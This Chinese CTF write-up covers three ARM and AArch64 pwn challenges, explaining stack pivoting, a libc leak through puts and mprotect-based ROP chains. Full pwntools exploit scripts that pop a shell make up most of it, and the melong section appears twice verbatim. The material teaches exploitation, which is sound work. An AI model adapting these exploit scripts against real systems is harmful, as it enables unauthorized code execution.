arm pwn练习
inctf2018_wARMup
程序逻辑
- 明显的栈溢出,但是只溢出了0x10个字节,很明显,需要栈迁移,但是在程序中,注意其调用read函数的汇编代码,如下,写如数据的缓冲区buf由R3寄存器重置,故若我们可以控制R3寄存器,则可以控制程序输入的位置,这里通过gadget(0x00010364 : pop {r3, pc})实现。
- 注意程序的endlog,如下图,可以发现,程序的SP由R11寄存器控制,而由于栈溢出漏洞的存在,我们可以控制R11,故我们可以通过控制R11,将其指向bss,故程序执行到sub sp,R11,#4时,sp=bss-4,即可完成栈迁移,此时我们只需在bss段上布置好p32(shellcode地址)+shellcode,后续指令 pop {R11,PC}即可调转到shellcode处执行
exp
from pwn import *
io = process(["qemu-arm","-L", "./", "./wARMup"])
#io=remote("node3.buuoj.cn","29829")
elf=ELF('./wARMup')
context.log_level='debug'
context.arch='arm'
offset=0x68
#0x00010364 : pop {r3, pc}
payload=b'a'*(offset-4)+p32(elf.bss())
payload+=p32(0x00010364)+p32(elf.bss())+p32(0x00010530)#gadget r3 pc
io.recvuntil('Welcome to bi0s CTF!')
io.sendline(payload)
shellcode = asm(shellcraft.sh())
io.sendline(p32(elf.bss() + 4) + shellcode)
io.interactive()
codegate2018_melong
程序逻辑
write_diary向main函数的局部变量写入数据时,没有做边界检查,且输入数据的长度是由用户决定的,当用户选择长度为-1时,存在栈溢出
exp及逻辑
1.利用栈溢出,通过puts函数泄露libc,并控制程序执行流程返回main函数
2.执行system函数
from pwn import *
remote_debug=1
remote=0
local=0
if remote_debug==1:
io = process(['qemu-arm', '-L', '/usr/arm-linux-gnueabi', '-g', '1234', './melong'])
elf = ELF('./melong')
log.success("enter enter to continue")
input()
libc=ELF('/usr/arm-linux-gnueabi/lib/libc.so.6')
elif local==1:
io = process(['qemu-arm', '-L', '/usr/arm-linux-gnueabi', './melong'])
elf = ELF('./melong')
libc=ELF('/usr/arm-linux-gnueabi/lib/libc.so.6')
elif remote==1:
io=remote("node3.buuoj.cn","28610")
libc=ELF('./lib/libc-2.30.so')
context(arch='arm',log_level='debug')
def check(height, weight):
io.sendlineafter("number:", "1")
io.sendlineafter(" : ", str(height))
io.sendlineafter(" : ", str(weight))
def register():
io.sendlineafter("number:", "3")
io.sendlineafter(" training?\n", "-1\n")
def write_record(record):
io.sendlineafter("number:", "4")
io.send(record)
def log_out():
io.sendlineafter("number:", "6")
#0x00011bbc : pop {r0, pc}
pop_r0=0x00011bbc
main=0x110CC
puts_plt=elf.plt[b'puts']
puts_got=elf.got[b'puts']
check(1,1)
register()
payload=b'a'*0x54
payload+=p32(pop_r0)
payload+=p32(puts_got)
payload+=p32(puts_plt)
payload+=p32(main)*8#0x3fed416c
write_record(payload)
#input()
log_out()
io.recvuntil("again :)\n")
libc_base=u32(io.recvn(4))-libc.sym[b'puts']
log.success("libc_base: "+hex(libc_base))
system=libc_base+libc.sym[b'system']
binsh=libc_base+libc.search("/bin/sh").__next__()
check(1,1)
register()
payload=b'a'*0x54
payload+=p32(pop_r0)
payload+=p32(binsh)
payload+=p32(system)
write_record(payload)
log_out()
io.interactive()
exp注意点
1.注意泄露libc,并控制程序执行流程返回main时,shellcode需要将main地址*8,这里这么做的原因是程序进入puts函数时,其prolog如下图:
可以看到,进入puts函数后,程序在栈上保存了R4-R10以及LR总共8个寄存器的值,其endlog如下图
故我们在第一次布置payload的时候需要多压入7个值,以等待puts退出时填充R4~R10寄存器
codegate2018_melong
程序逻辑
write_diary向main函数的局部变量写入数据时,没有做边界检查,且输入数据的长度是由用户决定的,当用户选择长度为-1时,存在栈溢出
exp及逻辑
1.利用栈溢出,通过puts函数泄露libc,并控制程序执行流程返回main函数
2.执行system函数
from pwn import *
remote_debug=1
remote=0
local=0
if remote_debug==1:
io = process(['qemu-arm', '-L', '/usr/arm-linux-gnueabi', '-g', '1234', './melong'])
elf = ELF('./melong')
log.success("enter enter to continue")
input()
libc=ELF('/usr/arm-linux-gnueabi/lib/libc.so.6')
elif local==1:
io = process(['qemu-arm', '-L', '/usr/arm-linux-gnueabi', './melong'])
elf = ELF('./melong')
libc=ELF('/usr/arm-linux-gnueabi/lib/libc.so.6')
elif remote==1:
io=remote("node3.buuoj.cn","28610")
libc=ELF('./lib/libc-2.30.so')
context(arch='arm',log_level='debug')
def check(height, weight):
io.sendlineafter("number:", "1")
io.sendlineafter(" : ", str(height))
io.sendlineafter(" : ", str(weight))
def register():
io.sendlineafter("number:", "3")
io.sendlineafter(" training?\n", "-1\n")
def write_record(record):
io.sendlineafter("number:", "4")
io.send(record)
def log_out():
io.sendlineafter("number:", "6")
#0x00011bbc : pop {r0, pc}
pop_r0=0x00011bbc
main=0x110CC
puts_plt=elf.plt[b'puts']
puts_got=elf.got[b'puts']
check(1,1)
register()
payload=b'a'*0x54
payload+=p32(pop_r0)
payload+=p32(puts_got)
payload+=p32(puts_plt)
payload+=p32(main)*8#0x3fed416c
write_record(payload)
#input()
log_out()
io.recvuntil("again :)\n")
libc_base=u32(io.recvn(4))-libc.sym[b'puts']
log.success("libc_base: "+hex(libc_base))
system=libc_base+libc.sym[b'system']
binsh=libc_base+libc.search("/bin/sh").__next__()
check(1,1)
register()
payload=b'a'*0x54
payload+=p32(pop_r0)
payload+=p32(binsh)
payload+=p32(system)
write_record(payload)
log_out()
io.interactive()
exp注意点
1.注意泄露libc,并控制程序执行流程返回main时,shellcode需要将main地址*8,这里这么做的原因是程序进入puts函数时,其prolog如下图:
可以看到,进入puts函数后,程序在栈上保存了R4-R10以及LR总共8个寄存器的值,其endlog如下图
故我们在第一次布置payload的时候需要多压入7个值,以等待puts退出时填充R4~R10寄存器
骇极杯_2018_babyarm
这是一道aarch64架构的题目,自己没做出来,但是看其他blog的WP,确实感觉ROP链构造的很精巧,我下面会主要对ROP链做介绍
程序逻辑
1.两次输入,第一次向bss段输入,第二次向函数栈上保存的变量输入,均存在栈溢出,故可以第一次在bss上写shellcode第二次改变程序执行流程,执行shellcode。
exp
from pwn import*
elf = ELF('./pwn')
context(arch='aarch64',log_level='debug')
#r = remote('node3.buuoj.cn',29876)
r = process(['qemu-aarch64', '-L', '/usr/aarch64-linux-gnu','./pwn'])
shellcode_addr = 0x411068
bl_mprotect = 0x4007e0
gadget1 = 0x4008cc
gadget2 = 0x04008ac
shellcode = p64(bl_mprotect)+p64(0)+asm(shellcraft.aarch64.sh())
r.recvuntil('Name:')
r.sendline(shellcode)
sleep(0.1)
payload = b'a'*0x48+p64(gadget1)+p64(0)+p64(gadget2)
payload += p64(0)*2+p64(shellcode_addr)+p64(0x7)+p64(0x1000)+p64(0x411000)
payload += p64(0)+p64(shellcode_addr+0x10)
r.sendline(payload)
r.interactive()
exp解析
-
两个gadget如下:
-
0x4007e0如下,为调用mprotect函数地址,注意,执行完mprotect时,执行流依旧会执行LDP 和RET命令,exp的要点便是在当前SP+8处填写shellcode地址,从而填充X30寄存器,跳转到shellcode处执行
-
0x4008cc用于向 X19、X20中传入0,以跳过gadget2(0x4008ac)中的CMP与BNE,向X21、X22分别传入shellcode_addr、0x7;向X23、X24分别传入0X1000、0x411000。注意!汇编采用的是pre-index,且没有“!”,故经过上述操作后,SP依旧指向第一P64(0)位置,此时LDP X29,X30,[SP],#0x40向 X29传入0,X30传入gadget2,从而程序跳转到gadget2,此时SP+0x40,指向p64(0)+p64(shellcode_addr+0x10),指令执行到BLR X3,执行mprotect函数(0x4007e0),最后经过0x4007e8处的LDP,将shellcode弹入X30,执行shellcode